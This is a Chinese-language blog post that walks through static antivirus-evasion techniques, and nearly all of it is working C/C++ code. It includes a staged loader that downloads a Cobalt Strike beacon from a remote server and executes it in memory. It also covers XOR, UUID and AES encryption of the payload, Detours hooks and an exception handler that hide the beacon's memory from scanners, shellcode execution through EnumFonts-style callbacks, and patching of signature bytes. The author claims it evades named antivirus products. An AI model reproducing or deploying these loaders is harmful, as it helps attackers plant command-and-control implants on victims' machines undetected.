免杀-静态绕过总结

2.静态绕过

2x0 远程分段加载shellcode

我最经常使用的一种静态绕过的方法

效果:

能过火绒360动静态,但是一些添加用户的命令依然会拦截
加上隐藏窗口360免不了,火绒还是可以
image.png
image.png

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()	   ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

LPVOID shellcode_addr;


DWORD getShellcode_Run(char* host, char* port, char* resource,OUT char* recvbuf_ptr) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
    * ptr = NULL,
    hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
        printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    printf("\n[+] Sent %ld Bytes\n", iResult);

    // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    
    memset(recvbuf_ptr,0,400000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            printf("[+] Received total %d Bytes\n", total_received);
        }
            
        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());


        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}

int main(int argc, char** argv) {

    // Validate the parameters
   /* if (argc != 4) {
        printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
        return 1;
    }*/

    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5003";
    char* Resource = "beacon64.bin";

    //getShellcode_Run(argv[1], argv[2], argv[3]);
   int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

   shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
   memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
   DWORD Oldprotect = 0;
   VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Oldprotect);
 
   ((void(*)())shellcode_addr)();


    return 0;

}

2x1 混淆加密

混淆加密是最基础的免杀手段之一,也是目前对静态查杀使用较多的手段

2x1x0.异或加密

代码实现

异或加密的key设置非纯数字可能效果好一点点
下面代码是读取bin文件或者shellcode文件后进行异或加解密的代码,加解密代码是一样的

#include <iostream>
#include<Windows.h>

size_t GetSize(char* szFilePath)
{
	size_t size;
	FILE* f = fopen(szFilePath, "rb");
	fseek(f, 0, SEEK_END);
	size = ftell(f);
	rewind(f);
	fclose(f);
	return size;
}
char* ReadBinaryFile(char* szFilePath, size_t* size)
{
	char* p = NULL;
	FILE* f = NULL;
	size_t res = 0;
	*size = GetSize(szFilePath);
	if (*size == 0) return NULL;
	f = fopen(szFilePath, "rb");
	if (f == NULL)
	{
		printf("Binary file does not exists!\n");
		return 0;
	}
	p = new char[*size];
	// Read file
	rewind(f);
	res = fread(p, sizeof(unsigned char), *size, f);
	fclose(f);
	if (res == 0)
	{
		delete[] p;
		return NULL;
	}
	return p;
}
void XORcrypt(char str2xor[], size_t len, int key) {
	int i; for (i = 0; i < len; i++) {
		str2xor[i] = (BYTE)str2xor[i] ^ key;
	}
}

int main()
{
	char* BinData = NULL;
	size_t size = 0;
	int key = 5 + 5;

	char* szFilePath = "E:\\bypassav\\beacon64xor.bin";
	BinData = ReadBinaryFile(szFilePath, &size);

	XORcrypt(BinData, size, key);

	return 0;
}

手动异或加密

在010Editor工具可以
image.png
image.png
箭头处就是key,解密的时候的key也是这个

2x1x1.uuid加密

在下文的内存加解密我会用到uuid的内存中的加解密的示例
加密工具下载地址:https://github.com/Haunted-Banshee/Shellcode-Hastur/
解密代码

int main()
{
	HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//创建堆,并标记为可执行
	void* ha = HeapAlloc(hc, 0, sizeof(uuids)*16);//为堆申请空间
	DWORD_PTR hptr = (DWORD_PTR)ha;
	int elems = sizeof(uuids) / sizeof(uuids[0]);

    //uuid转换成string
	for (int i = 0; i < elems; i++) {
		RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
		if (status != RPC_S_OK) {
			CloseHandle(ha);
			return -1;
		}
		hptr += 16;
	}
	EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数
	CloseHandle(ha);
	return 0;
}

2x1x2.ase加密

参考文章:https://www.cnblogs.com/henry666/p/17429382.html

方法一:安装openssl库(失败)

安装完openssl库后https://slproweb.com/products/Win32OpenSSL.html
在vs里面项目配置包含这两个路径
image.png
但是调用遇到这个坑
image.png
用到了openssl/aes.h文件。在vs中操作。
安装:

vcpkg integrate install
vcpkg install openssl:x86-windows
vcpkg install openssl:x64-windows

代码:

void aes_encrypt(const unsigned char *plaintext, int plaintext_len, const unsigned char *key, unsigned char *ciphertext) {
    AES_KEY aes_key;
    AES_set_encrypt_key(key, 128, &aes_key);//设置密钥
    int num_blocks = plaintext_len / BLOCK_SIZE + (plaintext_len % BLOCK_SIZE == 0 ? 0 : 1);//每16字节加密一次
    unsigned char block[BLOCK_SIZE];
    for (int i = 0; i < num_blocks; i++) {
        int j;
        for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < plaintext_len; j++) {
            block[j] = plaintext[i * BLOCK_SIZE + j];
        }
        for (; j < BLOCK_SIZE; j++) {
            block[j] = '\0';
        }
        AES_encrypt(block, &ciphertext[i * BLOCK_SIZE], &aes_key);
    }
}

void aes_decrypt(const unsigned char *ciphertext, int ciphertext_len, const unsigned char *key, unsigned char *plaintext) {
    AES_KEY aes_key;
    AES_set_decrypt_key(key, 128, &aes_key);
    int num_blocks = ciphertext_len / BLOCK_SIZE + (ciphertext_len % BLOCK_SIZE == 0 ? 0 : 1);
    unsigned char block[BLOCK_SIZE];
    for (int i = 0; i < num_blocks; i++) {
        AES_decrypt(&ciphertext[i * BLOCK_SIZE], block, &aes_key);
        int j;
        for (j = 0; j < BLOCK_SIZE && i * BLOCK_SIZE + j < ciphertext_len; j++) {
            plaintext[i * BLOCK_SIZE + j] = block[j];
        }
    }
}

反正上面方法一是失败的

方法二:

https://blog.csdn.net/m0_62466350/article/details/134735342这篇博客里面找到这个ase加密库,用这个库可以加密
调试加密代码:

#include<Windows.h>
#include <stdio.h>
#include"AES.h"

using namespace std;

#include<iostream>

size_t GetSize(char* szFilePath)
{
	size_t size;
	FILE* f = fopen(szFilePath, "rb");
	fseek(f, 0, SEEK_END);
	size = ftell(f);
	rewind(f);
	fclose(f);
	return size;
}
char* ReadBinaryFile(char* szFilePath, size_t* size)
{
	char* p = NULL;
	FILE* f = NULL;
	size_t res = 0;
	*size = GetSize(szFilePath);
	if (*size == 0) return NULL;
	f = fopen(szFilePath, "rb");
	if (f == NULL)
	{
		printf("Binary file does not exists!\n");
		return 0;
	}
	p = new char[*size];
	// Read file
	rewind(f);
	res = fread(p, sizeof(unsigned char), *size, f);
	fclose(f);
	if (res == 0)
	{
		delete[] p;
		return NULL;
	}
	return p;
}
BOOL MemeryToFile(LPVOID FileBuffer, DWORD Size)
{
	FILE* fpw = fopen("E:\\bypassav\\beacon64ase.bin", "wb");
	if (!fpw)
	{
		printf("打开文件失败\n");
		return 0;

	}
	if (fwrite(FileBuffer, 1, Size, fpw) == 0)
	{
		printf("文件写入失败");
		return 0;
	}
	fclose(fpw);
	fpw = NULL;
	printf("存盘成功");
}
void XORcrypt(unsigned char str2xor[], size_t len, int key) {
	int i; for (i = 0; i < len; i++) {
		str2xor[i] = (BYTE)str2xor[i] ^ key;
	}
}

int main(int argc, char* argv[]) {

	const unsigned char *BinData = NULL;
	size_t size = 0;
	unsigned char key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
	unsigned char* aesData = NULL;

	char* szFilePath = "E:\\bypassav\\beacon64xor.bin";
	BinData = (const unsigned char*)ReadBinaryFile(szFilePath, &size);

	// 加密
	AES aes(AESKeyLength::AES_128);
	unsigned char* c = aes.EncryptECB(BinData, (unsigned int)size , key);
	MemeryToFile(c, size);

	char* szFilePath1 = "E:\\bypassav\\beacon64ase.bin";
	const unsigned char* TempData = (const unsigned char*)ReadBinaryFile(szFilePath1, &size);
	unsigned char* a = aes.DecryptECB(TempData, (unsigned int)size, key);

	int xorkey = 5 + 5;
	XORcrypt(a, size, xorkey);
	return 0;
}

结合上面异或+异常+ase加密的代码

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include "detours.h"
#include "detver.h"
#include "AES.h"

#pragma comment(lib, "ntdll")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()	   ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

LPVOID shellcode_addr;

LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;


BOOL Vir_FLAG = TRUE;


static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
    Beacon_data_len = dwSize;
    Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
    printf("分配大小:%d", Beacon_data_len);
    printf("分配地址:%llx \n", Beacon_address);
    return Beacon_address;
}

static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
    if (Vir_FLAG)
    {
        VirtualFree(shellcode_addr, 0, MEM_RELEASE);
        Vir_FLAG = false;
    }
    printf("sleep时间:%d\n", dwMilliseconds);
    SetEvent(hEvent);
    OldSleep(dwMilliseconds);
}

void Hook()
{
    DetourRestoreAfterWith(); //避免重复HOOK
    DetourTransactionBegin(); // 开始HOOK
    DetourUpdateThread(GetCurrentThread());
    DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
    DetourAttach((PVOID*)&OldSleep, NewSleep);
    DetourTransactionCommit(); //  提交HOOK
}

void UnHook()
{
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
    DetourTransactionCommit();
}

size_t GetSize(char* szFilePath)
{
    size_t size;
    FILE* f = fopen(szFilePath, "rb");
    fseek(f, 0, SEEK_END);
    size = ftell(f);
    rewind(f);
    fclose(f);
    return size;
}

unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
    unsigned char* p = NULL;
    FILE* f = NULL;
    size_t res = 0;
    *size = GetSize(szFilePath);
    if (*size == 0) return NULL;
    f = fopen(szFilePath, "rb");
    if (f == NULL)
    {
        printf("Binary file does not exists!\n");
        return 0;
    }
    p = new unsigned char[*size];
    // Read file
    rewind(f);
    res = fread(p, sizeof(unsigned char), *size, f);
    fclose(f);
    if (res == 0)
    {
        delete[] p;
        return NULL;
    }
    return p;
}

BOOL is_Exception(DWORD64 Exception_addr)
{
    if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
    {
        printf("地址符合:%llx\n", Exception_addr);
        return true;
    }
    printf("地址不符合:%llx\n", Exception_addr);
    return false;
}

LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
    printf("FirstVectExcepHandler\n");
    printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
    printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
    if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))
    {
        printf("恢复Beacon内存属性\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
//这段代码的目的是等待事件 hEvent 被触发,然后修改 Beacon_address 指向的内存区域的保护属性,使其变为可写
{
    printf("Beacon_set_Memory_attributes启动\n");
    while (true)
    {
        WaitForSingleObject(hEvent, INFINITE);
        printf("设置Beacon内存属性不可执行\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
        ResetEvent(hEvent);
    }
    return 0;
}




DWORD getShellcode_Run(char* host, char* port, char* resource,OUT char* recvbuf_ptr) {

    DWORD oldp = 0;
    //BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
        printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    printf("\n[+] Sent %ld Bytes\n", iResult);

    // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    
    memset(recvbuf_ptr,0,400000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            printf("[+] Received total %d Bytes\n", total_received);
        }
            
        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());


        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}
void XORcrypt(unsigned char str2xor[], size_t len, int key) {
    int i; for (i = 0; i < len; i++) {
        str2xor[i] = (BYTE)str2xor[i] ^ key;
    }
}


int main(int argc, char** argv) {
   // const unsigned char* key1 = ;
    // Validate the parameters
   /* if (argc != 4) {
        printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
        return 1;
    }*/

    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5003";
    char* Resource = "beacon64ase.bin";

    hEvent = CreateEvent(NULL, TRUE, false, NULL);

    PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    if (temp == NULL)
    {
        printf("AddVectoredExceptionHandler调用失败");
        getchar();
        return 0;
    }
    Hook();
    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
    CloseHandle(hThread1);

    //getShellcode_Run(argv[1], argv[2], argv[3]);
   int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

   //aes解密
  
   AES aes(AESKeyLength::AES_128); 
   unsigned char key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
   
   unsigned char* a = aes.DecryptECB((const unsigned char*)recvbuf_ptr, (unsigned int)recvbuf_size, key);
   
   //xor解密
   int xorkey = 5 + 5;
   XORcrypt(a, recvbuf_size,xorkey);

   shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
   memcpy(shellcode_addr, a, recvbuf_size);
   VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);

   ((void(*)())shellcode_addr)();


    return 0;

}

踩了大坑:

1、key的赋值,本地测试代码直接强转是可以的,到了木马程序就不行了,const unsigned char *key = (const unsigned char *)"132abc"
2、在调用ase库加密函数的时候单步走到那个函数会莫名其妙运行结束堵塞,但是直接运行过去是没问题的image.png

2x1x3.rc4加密

适合短的shellcode,bin文件太大了,这里我暂时还没用上,提供一篇好文章
https://myzxcg.com/2022/01/%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8A%A0%E5%AF%86%E4%B8%8EShellcode-%E9%9A%90%E8%97%8F/#rc4-%E5%8A%A0%E8%A7%A3%E5%AF%86%E5%AD%97%E7%AC%A6%E4%B8%B2

2x2 敏感winapi替换

相关文章:提供了很多敏感winapi的冷门平替版本
http://ropgadget.com/posts/abusing_win_functions.html

AddClusterNode BluetoothRegisterForAuthentication CMTranslateRGBsExt
CallWindowProcA CallWindowProcW CreateCluster
CreateDialogIndirectParamA CreateDialogIndirectParamW CreateDialogParamA
CreateDialogParamW CreatePrintAsyncNotifyChannel CreateTimerQueueTimer
DavRegisterAuthCallback DbgHelpCreateUserDump DbgHelpCreateUserDumpW
DdeInitializeA DdeInitializeW DestroyCluster
DialogBoxIndirectParamA DialogBoxIndirectParamW DialogBoxParamA
DialogBoxParamW DirectSoundCaptureEnumerateA DirectSoundCaptureEnumerateW
DirectSoundEnumerateA DirectSoundEnumerateW DrawStateA
DrawStateW EnumCalendarInfoA EnumCalendarInfoW
EnumChildWindows EnumDateFormatsA EnumDateFormatsW
EnumDesktopWindows EnumDesktopsA EnumDesktopsW
EnumEnhMetaFile EnumFontFamiliesA EnumFontFamiliesExA
EnumFontFamiliesExW EnumFontFamiliesW EnumFontsA
EnumFontsW EnumICMProfilesA EnumICMProfilesW
EnumLanguageGroupLocalesA EnumLanguageGroupLocalesW EnumMetaFile
EnumObjects EnumPropsExA EnumPropsExW
EnumPwrSchemes EnumResourceLanguagesA EnumResourceLanguagesExA
EnumResourceLanguagesExW EnumResourceLanguagesW EnumResourceNamesA
EnumResourceNamesExA EnumResourceNamesExW EnumResourceNamesW
EnumResourceTypesA EnumResourceTypesW EnumResourceTypesExA
EnumResourceTypesExW EnumResourceTypesW EnumSystemCodePagesA
EnumSystemCodePagesW EnumSystemLanguageGroupsA EnumSystemLanguageGroupsW
EnumSystemLocalesA EnumSystemLocalesW EnumThreadWindows
EnumTimeFormatsA EnumTimeFormatsW EnumUILanguagesA
EnumUILanguagesW EnumWindowStationsA EnumWindowStationsW
EnumWindows EnumerateLoadedModules EnumerateLoadedModulesEx
EnumerateLoadedModulesExW EventRegister GetApplicationRecoveryCallback
GrayStringA GrayStringW KsCreateFilterFactory
KsMoveIrpsOnCancelableQueue KsStreamPointerClone KsStreamPointerScheduleTimeout
LineDDA MFBeginRegisterWorkQueueWithMMCSS MFBeginUnregisterWorkQueueWithMMCSS
MFPCreateMediaPlayer MQReceiveMessage MQReceiveMessageByLookupId
NotifyIpInterfaceChange NotifyStableUnicastIpAddressTable NotifyTeredoPortChange
NotifyUnicastIpAddressChange PerfStartProvider PlaExtractCabinet
ReadEncryptedFileRaw RegisterApplicationRecoveryCallback RegisterForPrintAsyncNotifications
RegisterServiceCtrlHandlerExA RegisterServiceCtrlHandlerExW RegisterWaitForSingleObject
RegisterWaitForSingleObjectEx SHCreateThread SHCreateThreadWithHandle
SendMessageCallbackA SendMessageCallbackW SetTimerQueueTimer
SetWinEventHook SetWindowsHookExA SetWindowsHookExW
SetupDiRegisterDeviceInfo SymEnumLines SymEnumLinesW
SymEnumProcesses SymEnumSourceLines SymEnumSourceLinesW
SymEnumSymbols SymEnumSymbolsForAddr SymEnumSymbolsForAddrW
SymEnumSymbolsW SymEnumTypes SymEnumTypesByName
SymEnumTypesByNameW SymEnumTypesW SymEnumerateModules
SymEnumerateModules64 SymEnumerateSymbols SymEnumerateSymbols64
SymEnumerateSymbolsW SymSearch SymSearchW
TranslateBitmapBits WPUQueryBlockingCallback WdsCliTransferFile
WdsCliTransferImage WinBioCaptureSampleWithCallback WinBioEnrollCaptureWithCallback
WinBioIdentifyWithCallback WinBioLocateSensorWithCallback WinBioRegisterEventMonitor
WinBioVerifyWithCallback WlanRegisterNotification WriteEncryptedFileRaw
WsPullBytes WsPushBytes WsReadEnvelopeStart
WsRegisterOperationForCancel WsWriteEnvelopeStart mciSetYieldProc
midiInOpen midiOutOpen mixerOpen
mmioInstallIOProcA mmioInstallIOProcW waveInOpen
waveOutOpen

2x2x0 回调函数执行加载器

EnumFontsW

这段代码的关键在于它使用EnumFontsW 函数的回调机制来执行 shellcode。当 EnumFontsW 函数遍历到一个字体时,它将调用 shellcode 作为回调函数来处理字体信息。由于回调函数直接指向 shellcode,这样可以间接地加载并执行 shellcode

#include <Windows.h>

unsigned char shellcode[] ="";

void CallBack() {

    void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, shellcode, sizeof(shellcode));

    /*
    * EnumFontsW是Windows API,用于枚举系统中所有可用字体
    * 参数1:设备环境句柄,表示要枚举哪个设备的字体
    * 参数2:NULL表示枚举所有字体
    * 参数3:回调函数指针,用于处理每个枚举到的字体信息
    * 参数4:回调函数参数
    */
    EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL); //回调函数

}

int main() {
    CallBack();
}

EnumUILanguages

EnumUILanguages函数是一个Windows API函数,用于枚举系统支持的用户界面(UI)语言。这个函数可以让应用程序查询系统支持的所有UI语言,这对于开发多语言支持的应用程序特别有用。它遵循特定的回调函数模式,意味着你需要提供一个回调函数,EnumUILanguages会为系统中每一种可用的UI语言调用这个回调函数一次
其函数原型如下所示:

BOOL EnumUILanguagesW(
  UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,  // 指向回调函数的指针
  DWORD                 dwFlags,  // 指定枚举语言的行为
  LONG_PTR              lParam  // 提供一个应用程序定义的值,该值随着每次回调函数调用被传递
);

shellcode加载代码如下所示:

#include <Windows.h>

unsigned char shellcode[] ="";

void CallBack() {

    void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, shellcode, sizeof(shellcode));
	  
    EnumUILanguages((UILANGUAGE_ENUMPROC)p, 0, 0);

}

int main() {
    CallBack();
}

EnumFontFamiliesEx

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
  int main() {
  int shellcode[] = {
  };
  DWORD oldProtect = 0;
  BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);

  EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char*)shellcode, 0, 0);
}

2x3 bin文件替换

2x3x0 cs敏感api哈希

API hash是恶意软件经常使用的一种技术,用于掩饰可疑API的使用。Cobalt strikel的哈希算法是ROR13
我们可以使用已知的API哈希列表来正确识别payload类型,并可以使用这些已知的API哈希通过Yara规则进行更准确的检测。
Huntress 博客中详细介绍的哈希替换脚本和 yara 规则: https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection
敏感api哈希替换工具:
https://github.com/embee-research/Randomise-api-hashes-cobalt-strike

2x3x1 硬编码手动替换

比如在生成的cs的bin文件开头第一个硬编码为fc是一个特征,我们只要在最前面加个0x90即可修改这个特征,虽然这不足以绕过静态检测但是是一个思路,可以多改其他地方
方法一:
生成c语言的二进制文件,里面是一个数组变量,我们直接更改增加硬编码后保存为文件也可以
image.png
方法二:
linux命令:xxd -i payload.bin > payloads.c转为数组后也是一样修改复制去上面的代码保存为另外一个bin文件

  • DWORD_PTR mem_ptr = (DWORD_PTR)base_addr;这句代码的作用是为了保存shellcode内存首地址,用mem_ptr去遍历,遍历到最后mem_ptr的地址会是shellcode的尾地址,但是我们调用shellcode就直接调用base_addr即可
posted @ 2024-04-06 22:05  小新07  阅读(131)  评论(0编辑  收藏  举报